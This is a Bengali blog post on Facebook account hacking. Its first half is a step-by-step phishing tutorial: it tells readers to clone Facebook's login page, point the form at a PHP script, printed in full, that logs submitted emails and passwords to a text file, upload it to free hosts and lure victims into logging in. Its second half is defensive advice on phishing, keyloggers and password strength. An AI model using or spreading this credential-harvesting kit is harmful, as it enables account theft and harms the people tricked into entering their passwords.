প্রথমেই বলে রাখছি আমি শিখানোর উদ্দেশে এই
পোস্ট টি করছি। কেউ তা খারাপ কাজে ব্যাবহার
করলে আমি দায়ি থাকব না ।
বর্তমানে ফেসবুক এর সিকিউরিটি অনেক টপ ।
হ্যাক করাই মুশকিল । তবু ও আমরা চেষ্টা করব
হ্যাক করার । আমাদের হ্যাক এর পদ্ধতি টা হচ্ছে
Phishing ।
ফেসবুক হ্যাক নিয়া এত দিন অনেক চুল ছিরসেন ,
মাথা ফাটাইছেন । এইবার থামেন । আমার কথা
মতো একটু কাজ করেন ।
Phishing টা দিয়ে ফেসবুক এ কি করবেন ?
আমরা Phishing দিয়ে একটা fake ফেসবুক পেজ
বানাব । ওটাতে ঢুকে যে ইমেইল আর পাসওয়ার্ড
দিয়ে লগইন এর চেস্টা করবে তার ইমেইল আর
পাসওয়ার্ড ই আপনি পেয়ে যাবেন ।
কিভাবে পেজটা বানাবেন?
১। http://www.facebook.com এ যান ।
right mouse ক্লিক করুন । view page source
এ ক্লিক করুন । code গুলো copy করে note
pad এ লিখুন ।
২। ctlr+f চাপুন ।একটি search bar open হবে ।
ওখানে লিখুন action= এবং ছবির মতো line টি
খুঁজে বেড় করুন ।
৩। https://www.facebook.com/login.php?
login_attempt=1 এই জায়গায় লিখুন
techss.php
৪। file টি save করার জন্য file এ ক্লিক করে
save as এ ক্লিক করুন । তারপর নাম দিন
index.html এবং save করুন ।
৫।নিচের code টি copy করে notepad এ paste
করে techss.php নামে save করুন ।
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $
value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
৬। আবার notepad open করুন কিছু না লিখে
pswrds.txt নামে save করুন । এটাতে
পাসওয়ার্ড গুলো save হবে । কেউ লগইন করলে
পাসওয়ার্ড গুলা এটাতে ঢুকলে পাবেন ।
৭। আমাদের file বানানো শেষ । এখন এগুলো
আপনার web hosting site এ upload করুন ।
web hosting site হিসেবে এগুলার একটি
ব্যাবহার করতে পারেনঃ http://
www.110mb.com , http://
www.spam.com http://
www.justfree.com http://
www.007sites.com .
এখন আপনার সাইট এর লিঙ্ক আপনি কাউকে
ইমেইল অথবা ফেসবুক এ সরাসরি দিতে পারেন ।
আপানার কাজটি হবে কাউকে এমন কিছু কথা বলে
লিঙ্ক টা দেয়া যাতে সে ওটাতে লগইন করে । এটা
পুরা আপনার নিজের দায়িত্ব ।
লেখক ঃ ফিদা আল হাসান
ফেসিবুকের একাউন্ট হ্যাক হয়ে যাওয়া নিয়ে
হ্যাকারদের চেষ্টার অন্ত নেই। আজকাল তো
প্রায় সময় শুনি এর একাউন্ট হ্যাক হয়ে গেছে
তো ওর একাউন্ট বন্ধ হয়ে গিয়েছে। আর
পারসোনাল ইন্ফরমেশন চুরি হবার ঘটনা তো
ঘটেই যাচ্ছে। আরো আছে ফেক বা ভুয়া একাউন্ট
– যদিও এটি হ্যাকিং এর কোন পর্যায়ে পড়ে না।
কিছুদিন আগে White Hack Bug Bounty নাম
দিয়ে ফেসবুক একটি প্রোগ্রাম চালু করে যেখানে
ফেসবুকের সিকিউরিটি হোল বের করতে পারলে
ফেসবুক সেই হ্যাকারকে টাকা দিয়ে পুরস্কৃত
করবে। এরপর পরই খলিল শ্রিতাহ নামে এক
হ্যাকার ফেসবুকের একটি একাউন্ট হ্যাক করে
দেখায়। আসলে এটি ছিল ফেসবুকের একটি বাগ যা
দিয়ে যে কোন একাউন্ট ডিলিট করে দেয়া যাবে।
কিন্তু ফেসবুক সেই হ্যাকারকে কোন টাকা না
দিলেও সেই সিকিউরিটি হোলটি বন্ধ করে দেয়।
টাকা না দেয়ার কারন হিসেবে ফেসবুক মুখপাত্র
বলেন যে সেই হ্যাকার অনুমতি না নিয়ে একজন
ফেসবুক ইউজারের একাউন্ট হ্যাক করেছে তাই
তাকে কোন পুরস্কার দেয়া হয়নি। আর আগে
ভারতের অরুন নামের এক হ্যাকার ফেসবুকে
অন্যের ছবি মুছে দেয়ার বাগ খুজে দিয়ে ১২,৫০০
ডলার আয় করে।
আমাদের দেশে অনেকেই বলে ফেসবুক হ্যাক
করতে পারে বা করে বা নানা রকম কাহিনী
আমাদের শোনায়। আবার অনেকেই বলে নানা
ধরনের সফটওয়ার আছে যা দিয়ে ফেসবুক
একাউন্ট হ্যাক করা যায়। আসলে এগুলো
কোনটাই সত্য নয়। ভুলেও এসব পথে পা মাড়াবেন
না। এ ধরনের কোন কিছু নেই। মুলত কিভাবে
ফেসবুকের একাউন্ট হ্যাক হয় জানেন?
অনেক সময় আমাদের ইমেইল ইনবক্সে বা ফেসবুক
চ্যাট ম্যাসেজে কেউ কেউ লিংক পাঠায়। ওখানে
কোন ধরনের অফার থাকে অথবা কোন
পাসওয়াডর্ রিসেট করার কথা থাকে। আপনি যদি
ওই লিংকে ক্লিক করেন, তাহলে দেখবেন অবিকল
ফেসবুকের মত একটি পেজ। এবং অনেকেই ভুল
করে সেই ওয়েব্সাইটে ইউজার নেম আর
পাসওয়াডর্ দিয়ে দেয়। আর সাথে সাথে সেই
একাউন্টের সব ডিটেইল্স তারা পেয়ে যায়।
এগুলো আসলে ভুয়া ওয়েবসাইট। মনে রাখবেন,
আপনি নিজে থেকে আপনার পাসওয়াডর্ কোথাও
না দিলে বা খুব সহজ কোন পাসওয়াডর্ ব্যবহার
না করলে আপনার পাসওয়াডর্ বের করা দুঃসাধ্য
ব্যাপার। অনেক আগে Bruteforce পদ্ধতিতে
ইমেইল বা নানা ধরনের একাউন্টের পাসওয়ার্ড
হ্যাক করা হতো কিন্তু এগুও এখন গত হয়েছে।
ওয়েবে এসেছে ১২৮ বিট এনক্রিপশন।
ব্রুটফোসর্ কাজ করে অনেকটা স্ক্যানিং এর মত।
যেমন কীবোর্ডের প্রতিটা ক্যারেক্টার এক একটা
করে স্ক্যান করে আর মিলাতে থাকে। আপনার
পাসওয়াডর্ যদি হয় ৩ অক্ষরের, তাহলে ৩ অক্ষর
দিয়ে আপনার সম্ভাব্য পাসওয়াডর্ হবে ৯৯৯টি।
আর ব্রুটফোসর্ এই ৯৯৯ টি কম্বিনেশন স্ক্যান
করবে। তাই, আপনার পাসওয়াডর্ যত লম্বা হবে
এবং যত বেশী সিম্বল এবং স্মল আর ক্যাপিটাল
লেটারের কম্বিনেশন থাকবে, আপনি ততটা
নিরাপদ। আমি আবার বলছি, মনে রাখ্বেন, নিজে
থেকে আপনি আপনার পাসওয়ার্ড কাউকে না
দিলে বা খুব সহজ কোন পাসওয়াডর্ ব্যবহার না
করলে আপনার পাসওয়াডর্ চুরি যাবার সম্ভাবনা
কম।
ছিচকে পাসওয়ার্ড চোররা আরও একটা উপায়ে
ফেসবুক একাউন্ট হ্যাক করে। আর তা হলো
কম্পিউটারে কী লগার (Ker Logger) জাতীয়
সফটওয়ার ইন্সটল করে রাখে। এই
প্রোগ্রামগুলো ব্যাকগ্রাউন্ডে চলে আর আপনি
কী বোডর্ে যা প্রেস করবেন তাই রেকডর্ করে
একটা টেক্সট ফাইলে সেভ করে রাখ্বে।
পরবর্তীতে সেই হ্যাকার উক্ত টেক্স্ট ফাইল
থেকে আপনার পাসওয়াডর্ দেখ্তে পারবে। সুতরাং
অপরিচিত কোন কম্পিউটার বা নিজের ছাড়া
অন্য কারো কম্পিউটার বা প্যাড থেকে ফেসবুক
একাউন্টে লগিন না করাই ভাল। এতে আপনার
একাউন্ট চুরির ঘটনা ঘটার সম্ভাবনা কম থাকবে।
আবার অনেকেই ফেসবুকের একাউন্ট হ্যাক করার
জন্য নানা ধরনের সফটওয়ার বা টুল ইন্টারনেট
থেকে ডাউনলোড করে থাকেন। হাস্যকর হলেও
সত্যি এদের বেশীরভাগই হয় গার্ল্ফ্রেন্ড তার
বয়ফ্রেন্ডের উপর নজরদারি করার জন্য অথবা
বয়ফ্রেন্ড তার গার্লফ্রেন্ডের উপর নজরদারি
করার জন্য এসব করে থাকে। হাস্যকর ব্যাপার
কিন্তু এটা না করাই ভাল। সম্পর্ক ফেসবুকে হয়
না, বিশ্বাসের উপর হয় আর হ্যা ফেসবুক রিলেশন
না করাই ভাল। (একটু জোক করলাম)। নেট থেকে
এই ধরনের প্রোগ্রামগুলো কখনও ডাউনলোড
করবেন না কারন এগুলো কোন কাজেই আসবে না
বরং উল্টো আপনার নিজের একাউন্ট হ্যাক হয়ে
যেতে পারে।
ফেসবুকে প্রাইভেসী টুল ভালভাবে ব্যবহার করুন।
পাবলিক প্রোফাইল সীমিত রাখুন আর অপরিচিত
মানুষদের ফ্রেন্ড রিকোয়েস্ট কম একসেপ্ট করুন।
তাহলেই একাউন্ট এবং আপনার প্রাইভেসী
নিরাপদে থাকবে। মেয়েদের বলছি – ছবি শেয়ার
করা অনেক মজা এবং অবশ্যই করবেন কিন্তু
সাবধানে। এমনভাবে শেয়ার করবেন না যেন
আপনার ছবিগুলো কেউ অন্যভাবে ব্যবহার
করতে পারে। বাংলাদেশে এই ধরনের কালপ্রিটের
অভাব নেই। প্রাইভেসী মোড ব্যবহার করুন আর
নিরাপদ থাকুন।
ফেসবুক এখন এতটাই জন্প্রিয় হয়ে গেছে যে এ
থেকে সুবিধার চাইতে অসুবিধা এখন বেশী হয়।
আমেরিকায় ফেসবুক স্টকিং এর ঘটনা এখন নিত্য
নৈমিত্তিক ব্যাপার। বাংলাদেশেও ফেসবুক নিয়ে
ক্রাইমের শেষ নেই। তাও ফেসবুক এখন
সামাজিকতা রক্ষার একটা টুল। রিয়েল লাইফে
রিয়েল সিচুয়েশনে কোন ফ্রেন্ড না থাকলেও
ফেসবুকে আমাদের ফ্রেন্ড লিস্ট অনেক বড় হয়।
ফেসবুক ফ্রেন্ড রিয়েল ফ্রেন্ড না। ফেসবুক
থেকে আপনি রিয়েল ফ্রেন্ড পেতে পারেন কিন্তু
সেটা হবে সেভাবেই। সাবধানে বন্ধু নির্বাচন করুন
দেখ্বেন, হয়তো অনেক সত্যিকার বন্ধুও পেয়ে
যেতে পারেন।
নিরাপদে থাকুন।
লেখক ঃ বাংলাদশীজম প্রজেক
http://technoparkbd.blogspot.in/2013/09/id.html?m=1
বুধবার, ২৭ জানুয়ারী, ২০১৬
আসুন ফেসবুক ID হ্যাক করি !! এবং নিজেকে রক্ষা করি ।
এতে সদস্যতা:
মন্তব্যগুলি পোস্ট করুন (Atom)
কোন মন্তব্য নেই:
একটি মন্তব্য পোস্ট করুন